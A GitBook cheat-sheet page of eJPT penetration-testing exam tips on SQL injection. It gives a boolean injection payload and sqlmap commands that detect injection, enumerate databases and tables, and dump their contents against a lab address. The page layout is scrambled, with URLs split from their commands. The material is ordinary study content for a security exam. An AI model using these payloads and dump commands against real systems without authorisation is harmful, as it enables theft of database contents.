eJPT Exam Tips and Solution
WEBSITEGITHUBLINKEDININSTAGRAM
  • 🔁eJPT Exam
  • 🚢IP and Routing
  • 😅System Commands
  • 🆕IP & Network Enumeration
  • 🟥SQL Injection
  • 🔲Bruteforce Attacks
  • ❎Password Cracking
  • ⚔️XSS Attacks
  • 🎯Null Session Attacks
  • 💯Reverse Connection & Exploitation
  • 🐚Interactive Shell
  • 😂Directory Enumeration
  • ⚠️ARP Spoofing
  • 🔥Vulnerability Scanners
  • 🍾Google Dorking
  • 📕OSINT
  • 🚇Subdomain Enumeration
  • ⛔One Short Target
Powered by GitBook
On this page
  • sqlmap
  • JSQL Injection [GUI Software]

Was this helpful?

SQL Injection

PreviousIP & Network EnumerationNextBruteforce Attacks

Last updated 1 year ago

Was this helpful?

Boolean Attacks

' OR 1=1; -- -

sqlmap

Basic sqlmap command Scanning URL [GET Parameter]

sqlmap -u <url-to-check>

-u ==> specify url to check
-p ==> parameter to specify [eg, id]
--data=<post-String> ==> post string to use
--technique=U ==> Use Union Attacks
--technique=B ==> Use Boolean Attacks
--tables ==> Dump tables
-D ==> Specify Name of the Database
-T ==> Table Name to dump
--dump ==> Dump the content from the Database

Check if injection exists

sqlmap -r Post.req sqlmap -u "" -p id sqlmap -u "" --data="user=admin&password=admin"

Get database if injection Exists

sqlmap -r login.req --dbs sqlmap -u "" -p id --dbs sqlmap -u "" --data="user=admin&password=admin" --dbs\

Get Tables in a Database

Get data in a Database tables

JSQL Injection [GUI Software]

JSQL GUI is a GUI application that can fetch database from sql injection, From GET request [the parameter being in the URL as injection.php?id=123]

sqlmap -r login.req -D dbname --tables sqlmap -u "" -p id -D dbname --tables sqlmap -u "" --data="user=admin&password=admin" -D dbname --tables

sqlmap -r login.req -D dbname -T table_name --dump sqlmap -u "" -p id -D dbname -T table_name --dump sqlmap -u "" --data="user=admin&password=admin" -D dbname -T table_name --dump

🟥
http://10.10.10.10/file.php?id=1
http://10.10.10.10/login.php
http://10.10.10.10/file.php?id=1
http://10.10.10.10/login.php
http://10.10.10.10/file.php?id=1
http://10.10.10.10/login.php
http://10.10.10.10/file.php?id=1
http://10.10.10.10/login.php